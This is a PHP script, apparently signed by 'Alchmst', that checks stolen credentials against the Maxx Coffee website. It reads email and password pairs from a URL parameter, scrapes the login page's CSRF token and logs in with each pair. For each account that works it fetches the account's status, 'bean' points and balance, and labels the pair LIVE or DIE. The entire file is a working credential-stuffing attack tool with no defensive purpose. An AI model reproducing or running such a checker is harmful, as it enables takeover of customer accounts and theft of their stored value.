max

<?php
error_reporting(0);
date_default_timezone_set("Asia/Jakarta");
$format = $_GET['mailpass'];
$pisah = explode("|", $format);

if (!isset($format)) {
header('location: ./');
exit;
}
function getStr($string,$start,$end){
    $str = explode($start,$string);
    $str = explode($end,$str[1]);
    return $str[0];
}

function token(){
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://maxx.coffee/login");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "GET");
    curl_setopt($ch, CURLOPT_COOKIEJAR, dirname(__FILE__).'/cookie.txt');
    curl_setopt($ch, CURLOPT_HEADER, 1);

    $headers = array();
    $headers[] = "Authority: maxx.coffee";
    $headers[] = "Upgrade-Insecure-Requests: 1";
    $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36";
    $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
    $headers[] = "Accept-Language: en-US,en;q=0.9";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    $token = getStr($result,'type="hidden" name="_token" value="','">');
    return $token;
}

function login($token, $email, $password){
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://maxx.coffee/login");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "_token=$token&email=$email&password=$password");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_HEADER, 1);

    $headers = array();
    $headers[] = "Authority: maxx.coffee";
    $headers[] = "Cache-Control: max-age=0";
    $headers[] = "Origin: https://maxx.coffee";
    $headers[] = "Upgrade-Insecure-Requests: 1";
    $headers[] = "Content-Type: application/x-www-form-urlencoded";
    $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36";
    $headers[] = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8";
    $headers[] = "Referer: https://maxx.coffee/login";
    $headers[] = "Accept-Language: en-US,en;q=0.9";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    $phone = getStr($result, 'var mobile_phonenya = "','";');
    return $phone;
}
function getMoney($phone){
    $ch = curl_init();

    curl_setopt($ch, CURLOPT_URL, "https://maxx.coffee/cekverifikasiajax");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, "mobile_phone=$phone");
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_COOKIEFILE, dirname(__FILE__).'/cookie.txt');

    $headers = array();
    $headers[] = "Origin: https://maxx.coffee";
    $headers[] = "Accept-Language: en-US,en;q=0.9";
    $headers[] = "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.84 Safari/537.36";
    $headers[] = "Content-Type: application/x-www-form-urlencoded";
    $headers[] = "Accept: */*";
    $headers[] = "Referer: https://maxx.coffee/home";
    $headers[] = "Authority: maxx.coffee";
    $headers[] = "X-Requested-With: XMLHttpRequest";
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    $result = curl_exec($ch);
    return $result;
}
    $email      = $pisah[0];
    $password   = $pisah[1];
    $token = token();
    $phone = login($token, $email, $password);
    if(!$phone){
        $hasil['error'] = 2;
        $hasil['msg']   = "<font color=red><b>[ DIE ]</font> | [ $email|$password ] ./Alchmst</b>";
        die(json_encode($hasil));
    }elseif($phone){
        $a = json_decode(getMoney($phone));
        $hasil['error'] = 0;
        $hasil['msg']   = "<font color=green><b>[ LIVE ]</font> | [ $email|$password ] [ Status : $a->status ] [ Bean : $a->bean ] [ Balance : $a->balance ] ./Alchmst</b>";
        die(json_encode($hasil));
    }else{
        $hasil['error'] = -1;
        $hasil['msg']   = "<font color=purple><b>[ UNKNOWN ]</font> | [ $email|$password ] ./Alchmst</b>";
        die(json_encode($hasil));
    }
?>